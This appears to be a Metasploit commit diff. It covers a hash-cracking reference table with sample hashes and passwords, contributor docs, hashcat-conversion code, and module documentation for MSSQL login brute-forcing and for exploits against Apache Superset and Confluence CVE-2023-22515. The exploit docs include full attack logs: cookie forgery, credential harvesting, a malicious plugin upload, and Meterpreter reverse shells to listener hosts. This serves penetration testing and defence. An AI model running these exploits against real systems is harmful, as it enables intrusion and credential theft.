| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
| | Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this | | | |
|---|--------------------------------------|--------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------|--------------------|---------------------------------------------------|-----------------------------------------------------------|---|---|---|
| | DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux | | | |
| | MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux | | | |
| | BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux | | | |
| | SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux | | | |
| | SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux | | | |
| | Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux | | | |
| | Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows | | | |
| | NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows | | | |
| | NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows | | | |
| | NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows | | | |
| | MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
| | MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
| | MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases | | | |
| | MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
| | MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases | | | |
| | Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
| | Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
| | Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
| | Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
| | Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases | | | |
| | Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases | | | |
| | HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None | | | |
| | SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | | |
| | pbkdf2-sha256 | admin | `$pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU` | admin | PBKDF2-HMAC-SHA256 | exploit/linux/http/apache_superset_cookie_sig_rce | auxiliary/analyze/webapp | | | |
# Adding a New Hash
Only hashes which were found in Metasploit were added to the hash id library, and the other functions. New hashes are developed often, and new modules which find a new type of hash will most definitely be created. So what are the steps to add a new hash type to Metasploit?
1. Add a new identify algorithm to: [framework/hashes/identify.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes/identify.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add a new identify algorithm to: [framework/hashes.rb](https://github.com/rapid7/metasploit-framework/blob/master/lib/metasploit/framework/hashes.rb). You may want to consult external programs such as `hashid` or `hash-identifier` for suggestions.
1. Add the hash to the spec to ensure it works right now, and in future updates: [framework/hashes/identify_spec.rb](https://github.com/rapid7/metasploit-framework/blob/master/spec/lib/metasploit/framework/hashes/identify_spec.rb)
1. Make sure the hashes are saved in the DB in the JTR format. A good source to identify what the hashes look like is [pentestmonkey](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats).
1. If applicable, add it into the appropriate cracker module (or create a new one). Example for [Windows related hashes](https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/analyze/crack_windows.rb).
@@ -41,3 +41,18 @@ These are just suggestions, but it'd be nice if the KB had these sections:
- **Verification Steps** - Tells users how to use the module and what the expected results are from running the module.
- **Options** - Provides descriptions of all the options that can be run with the module. Additionally, clearly identify the options that are required.
- **Scenarios** - Provides sample usage and describes caveats that the user may need to be aware of when running the module.
### Before you submit your PR: msftidy_docs.rb
A documentation file can be passed as a positional argument to `metasploit-framework/tools/dev/msftidy_docs.rb` and will
highlight formatting errors the docs file might contain. Once all the errors and warnings thrown by `msftidy_docs.rb` have
been resolved, the documentation file is ready for submission.
```
➜ metasploit-framework git:(upstream-master) ✗ ruby tools/dev/msftidy_docs.rb documentation/modules/exploit/linux/http/panos_op_cmd_exec.md
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [INFO] Missing Section: ## Options
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] Please add a newline at the end of the file
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md - [WARNING] H2 headings in incorrect order. Should be: Vulnerable Application, Verification Steps/Module usage, Options, Scenarios
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:50 - [WARNING] Should use single backquotes (`) for single line literals instead of triple backquotes (```)
documentation/modules/exploit/linux/http/panos_op_cmd_exec.md:53 - [WARNING] Spaces at EOL
```
@@ -6,7 +6,7 @@ These cookies can therefore be forged. If a user is able to login to the site, t
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.
## App Install
### App Install
```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
@@ -30,6 +30,7 @@ If you want any database credentials to be pulled, you'll need to configure a da
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
1. Do: `set rhost [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
@@ -0,0 +1,71 @@
## Vulnerable Application
This module simply queries the MSSQL instance for a specific user/pass (default is sa with blank).
### Setup
A docker container can be spun up with the following command to test this module:
`docker run -e 'ACCEPT_EULA=Y' -e 'MSSQL_SA_PASSWORD=N0tpassword!' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2022-latest`
## Verification Steps
1. Start msfconsole
2. Do: `use scanner/mssql/mssql_login`
3. Do: `set RHOSTS [IP]`
4. Do: `run`
5. You should get a shell.
## Options
### USER_FILE
File containing users, one per line.
### PASS_FILE
File containing passwords, one per line
## Scenarios
```
msf > use scanner/mssql/mssql_login
msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(scanner/mssql/mssql_login) > set password N0tpassword!
password => N0tpassword!
msf6 auxiliary(scanner/mssql/mssql_login) > options
Module options (auxiliary/scanner/mssql/mssql_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
BLANK_PASSWORDS true no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD N0tpassword! no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1433 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"
THREADS 1 yes The number of concurrent threads (max one per host)
USERNAME sa no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
USE_WINDOWS_AUTHENT false yes Use windows authentication (requires DOMAIN option set)
VERBOSE true yes Whether to print output for all attempts
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/mssql/mssql_login) > run
[*] 127.0.0.1:1433 - 127.0.0.1:1433 - MSSQL - Starting authentication scanner.
[!] 127.0.0.1:1433 - No active DB -- Credential data will not be saved!
[+] 127.0.0.1:1433 - 127.0.0.1:1433 - Login Successful: WORKSTATION\sa:N0tpassword!
[*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/mssql/mssql_login) >
```
@@ -0,0 +1,141 @@
## Vulnerable Application
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
### App Install
```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
sudo docker exec -it superset superset fab create-admin \
--username admin \
--firstname Superset \
--lastname Admin \
--email admin@superset.com \
--password admin
sudo docker exec -it superset superset db upgrade
sudo docker exec -it superset superset init
```
Login to the app, click 'list users' under 'Settings', then click '+'. Make a new user with 'Public' as the role.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/apache_superset_cookie_sig_rce`
1. Do: `set rhost [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
1. You should get a shell.
## Options
### USERNAME
The username to authenticate as. Required with no default.
### PASSWORD
The password for the specified username. Required with no default.
### ADMIN_ID
The ID of an admin account. Defaults to `1`
### SECRET_KEYS_FILE
A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`
### DATABASE
Location on the target of the Superset database. Defaults to the Docker location `/app/superset_home/superset.db`
## Scenarios
### Apache Superset 2.0.0 on Docker
```
resource (superset_rce.rb)> use exploit/linux/http/apache_superset_cookie_sig_rce
[*] Using configured payload python/meterpreter/reverse_tcp
resource (superset_rce.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (superset_rce.rb)> set verbose true
verbose => true
resource (superset_rce.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (superset_rce.rb)> set username user
username => user
resource (superset_rce.rb)> set password user
password => user
resource (superset_rce.rb)> set proxies HTTP:127.0.0.1:8080
proxies => HTTP:127.0.0.1:8080
resource (superset_rce.rb)> set ReverseAllowProxy true
ReverseAllowProxy => true
resource (superset_rce.rb)> rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Attempting login
[*] Grabbing CSRF token
[*] 127.0.0.1:8088 - CSRF Token: IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEi.ZQSodw.C7YXKC5pMw0rGvnJcqVT5ZFkXYQ
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKgzAQRa8SZh2KTa1Vb-Cu-yIyJjMxdIiQhJYi3r1ZPfjw_jtgYcG8UYbxdYAqFfDFFEP0oGGKH5TglOw-xIt6CmEmVdJPoce6wHzOul4kyhuMjJJJg82Jl7K_KcIIHQ-37m5643htTftwDbGha0_WNThYpm5FZIc1JrtFoepU8fwDUO8x4g.ZQSodw.VE5Y8HQDKavvXpMdUVnZrfqiokI;
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[-] 127.0.0.1:8088 - Incorrect secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"6f9365282dfb4247d0ef2e18ecd0a9cfe6baafda", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQSodw.tqvbZGeoJr4hx6k8CVM_XA-_AAE
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[*] Attempting to pull user creds from db
[+] Successfully created db mapping with id: 2
[*] Creating new sqllab tab
[+] Using tab: 2
[*] Setting latest query id
[*] Harvesting superset user creds
[+] Superset Creds
==============
Username Password
-------- --------
admin $pbkdf2-sha256$260000$R203aXBtQVh3ZUlFVmREdQ$/Sivpafs38x.LXzDbxhSsvjfZC5pKpuPONqzOWnsgrk
[*] Attempting RCE
[*] Creating new dashboard
[+] New Dashboard id: 2
[*] Grabbing permalink to new dashboard to trigger payload later
[+] Dashboard permalink key: aojEJOPXQyB
[*] Grabbing values to reset later
[*] Setting latest query id
[*] Setting latest query id
[*] Uploading payload
[*] Triggering payload
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:57716) at 2023-09-15 14:54:49 -0400
[*] Unsetting RCE Payloads
[*] Restoring row ID 1
[*] Setting latest query id
[+] Successfully restored
[*] Restoring row ID 3
[*] Setting latest query id
[+] Successfully restored
[*] Deleting dashboard
[*] Deleting sqllab tab
[*] Deleting database mapping
meterpreter > getuid
Server username: superset
meterpreter > sysinfo
Computer : 2f7ff4a15c36
OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
Architecture : x64
System Language : C
Meterpreter : python/linux
```
@@ -0,0 +1,112 @@
## Vulnerable Application
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
For a full technical analysis of the vulnerability read the
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis).
## Testing
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download.).
By default the server will listen for HTTP connections on port 8090. This exploit module was tested against Confluence
8.5.1 running on Windows Server 2022.
## Verification Steps
Note: Disable Defender if you are using the default payloads.
Steps:
1. Start msfconsole
2. `use exploit/multi/http/atlassian_confluence_rce_cve_2023_22515`
3. `set RHOST 192.168.86.50`
4. `check`
5. `exploit`
## Options
### TARGETURI
The base path for the target servers Confluence installation. By default this option is set to `/`.
### CONFLUENCE_TARGET_ENDPOINT
This is the endpoint used to trigger the vulnerability, and must be reachable by an un authenticated HTTP(S) POST
request. Any Confluence Action endpoint that extends the base class `ConfluenceActionSupport` is likely to work. Two
example endpoints that have been tested are `server-info.action` and `ajax/spaceavailable.action`. By default this
option is set to `server-info.action`.
### CONFLUENCE_PLUGIN_TIMEOUT
The exploit will install a malicious plugin into the Confluence server. Plugin installation is performed asynchronously
and we must poll the server to find out when installation has completed. This option governs the maximum amount
of time to wait for installation to complete. The timeout value is in seconds and by default this option is set to `30`.
## Scenarios
### Automatic
```
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > show options
Module options (exploit/multi/http/atlassian_confluence_rce_cve_2023_22515):
Name Current Setting Required Description
---- --------------- -------- -----------
CONFLUENCE_PLUGIN_TIMEOUT 30 yes The timeout to wait when installing a plugin
CONFLUENCE_TARGET_ENDPOINT server-info.action yes The endpoint used to trigger the vulnerability.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas
ploit.html
RPORT 8090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Confluence
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.86.42 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > check
[*] 192.168.86.50:8090 - The target appears to be vulnerable. Atlassian Confluence 8.5.1
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Atlassian Confluence 8.5.1
[*] Setting the application configuration's setupComplete to false via endpoint: /server-info.action
[*] Creating a new administrator user account...
[*] Created zskghlfv:NDqbcj4N
[*] Adding a malicious plugin...
[*] Waiting for plugin to be installed...
[*] Triggering payload...
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 192.168.86.50
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:56898) at 2023-10-16 20:41:57 +0100
meterpreter > getuid
Server username: WIN-V28QNSO2H05$
meterpreter > sysinfo
Computer : WIN-V28QNSO2H05
OS : Windows Server 2022 10.0 (amd64)
Architecture : x64
System Language : en_IE
Meterpreter : java/windows
meterpreter > pwd
C:\Program Files\Atlassian\Confluence
meterpreter >
```
+2
View File
@@ -124,6 +124,8 @@ module Metasploit
when hash =~ /^\*?[\da-fA-F]{32}\*[\da-fA-F]{32}$/
# we accept the beginning star as optional
return 'vnc'
when hash =~ /^\$pbkdf2-sha256\$[0-9]+\$[a-z0-9\/.]+\$[a-z0-9\/.]{43}$/i
return 'pbkdf2-sha256'
end
''
end
@@ -217,6 +217,8 @@ module Metasploit
'1711'
when 'Raw-MD5u'
'30'
when 'pbkdf2-sha256'
'10900'
end
end
@@ -38,6 +38,34 @@ def hash_to_hashcat(cred)
# legacy MD5
# T: = 160 characters
# PBKDF2-based SHA512 hash specific to 12C (12.1.0.2+)
when /^pbkdf2-sha256/
# hashmode: 10900
# from: $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
# to: sha256:29000:Q1hzYjU5dFNMWm05QUJCTg==:s+vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU=
# https://hashcat.net/forum/thread-7854-post-42417.html#pid42417 ironically gives Token encoding exception
c = cred.private.data.sub('$pbkdf2-sha256', 'sha256').split('$')
# This method takes a string which is likely base64 encoded
# however, there is an arbitrary amount of = missing from the end
# so we attempt to add = until we are able to decode it
#
# @param str [String] the base64-ish string
# @return [String] the corrected string
def add_equals_to_base64(str)
['', '=', '=='].each do |equals|
to_test = "#{str}#{equals}"
Base64.strict_decode64(to_test)
return to_test
rescue ArgumentError
next
end
nil
end
c[2] = add_equals_to_base64(c[2].gsub('.', '+')) # pad back out
c[3] = add_equals_to_base64(c[3].gsub('.', '+')) # pad back out
return c.join(':')
when /hmac-md5/
data = cred.private.data.split('#')
password = Rex::Text.encode_base64("#{cred.public.username} #{data[1]}")
+1 -1
View File
@@ -32,7 +32,7 @@ module Metasploit
end
end
VERSION = "6.3.38"
VERSION = "6.3.39"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash
+6 -5
View File
@@ -834,6 +834,7 @@ class ReadableText
def self.dump_sessions(framework, opts={})
output = ""
verbose = opts[:verbose] || false
sessions = opts[:sessions] || framework.sessions
show_active = opts[:show_active] || false
show_inactive = opts[:show_inactive] || false
# if show_active and show_inactive are false the caller didn't
@@ -859,11 +860,11 @@ class ReadableText
'Header' => "Active sessions",
'Columns' => columns,
'Indent' => indent)
framework.sessions.each_sorted { |k|
session = framework.sessions[k]
sessions.each do |session_id, session|
row = create_msf_session_row(session, show_extended)
tbl << row
}
end
output << (tbl.rows.count > 0 ? tbl.to_s : "#{tbl.header_to_s}No active sessions.\n")
end
@@ -984,9 +985,9 @@ class ReadableText
return out
end
framework.sessions.each_sorted do |k|
session = framework.sessions[k]
sessions = opts[:sessions] || framework.sessions
sessions.each do |session_id, session|
sess_info = session.info.to_s
sess_id = session.sid.to_s
sess_name = session.sname.to_s
+2 -2
View File
@@ -150,8 +150,8 @@ module Msf
def default_version_string
default_version_string = 'SSH-2.0-OpenSSH_5.3p1'
# The current SSH server implementation does not support OpenSSL 3
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with? 'OpenSSL 3'
# The current SSH server implementation does not support OpenSSL 3 or windows
return default_version_string if OpenSSL::OPENSSL_LIBRARY_VERSION.start_with?('OpenSSL 3') || ::Gem.win_platform?
require 'rex/proto/ssh/connection'
Rex::Proto::Ssh::Connection.default_options['local_version']
@@ -41,7 +41,11 @@ class Auxiliary
#
# Executes an auxiliary module
#
def cmd_run(*args, action: nil)
def cmd_run(*args, action: nil, opts: {})
if (args.include?('-r') || args.include?('--reload-libs')) && !opts[:previously_reloaded]
driver.run_single('reload_lib -a')
end
return false unless (args = parse_run_opts(args, action: action))
jobify = args[:jobify]
@@ -132,8 +136,14 @@ class Auxiliary
# Reloads an auxiliary module and executes it
#
def cmd_rerun(*args)
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
if reload(true)
cmd_run(*args)
cmd_run(*args, opts: opts)
end
end
@@ -146,9 +156,15 @@ class Auxiliary
# vulnerable.
#
def cmd_rcheck(*args)
opts = {}
if args.include?('-r') || args.include?('--reload-libs')
driver.run_single('reload_lib -a')
opts[:previously_reloaded] = true
end
reload()
cmd_check(*args)
cmd_check(*args, opts: opts)
end
alias cmd_recheck cmd_rcheck
+246 -19
View File
@@ -11,7 +11,6 @@
require 'msf/core/opt_condition'
require 'optparse'
module Msf
@@ -46,7 +45,7 @@ class Core
["-s", "--script"] => [ true, "Run a script or module on the session given with -i, or all", "<script>" ],
["-u", "--upgrade"] => [ true, "Upgrade a shell to a meterpreter session on many platforms", "<id>" ],
["-t", "--timeout"] => [ true, "Set a response timeout (default: 15)", "<seconds>" ],
["-S", "--search"] => [ true, "Row search filter.", "<filter>" ],
["-S", "--search"] => [ true, "Row search filter. (ex: sessions --search 'last_checkin:less_than:10s session_id:5 session_type:meterpreter')", "<filter>"],
["-x", "--list-extended"] => [ false, "Show extended information in the session table" ],
["-n", "--name"] => [ true, "Name or rename a session by ID", "<id> <name>" ])
@@ -56,7 +55,7 @@ class Core
["-k", "--kill"] => [ true, "Terminate the specified thread ID.", "<id>" ],
["-K", "--kill-all"] => [ false, "Terminate all non-critical threads." ],
["-i", "--info"] => [ true, "Lists detailed information about a thread.", "<id>" ],
["-l", "--list"] => [ false, "List all background threads." ],
["-l", "--list"] => [ false, "List all background threads." ],
["-v", "--verbose"] => [ false, "Print more detailed info. Use with -i and -l" ])
@@tip_opts = Rex::Parser::Arguments.new(
@@ -115,6 +114,32 @@ class Core
["-g", "--global"] => [ false, "Operate on global datastore variables"]
)
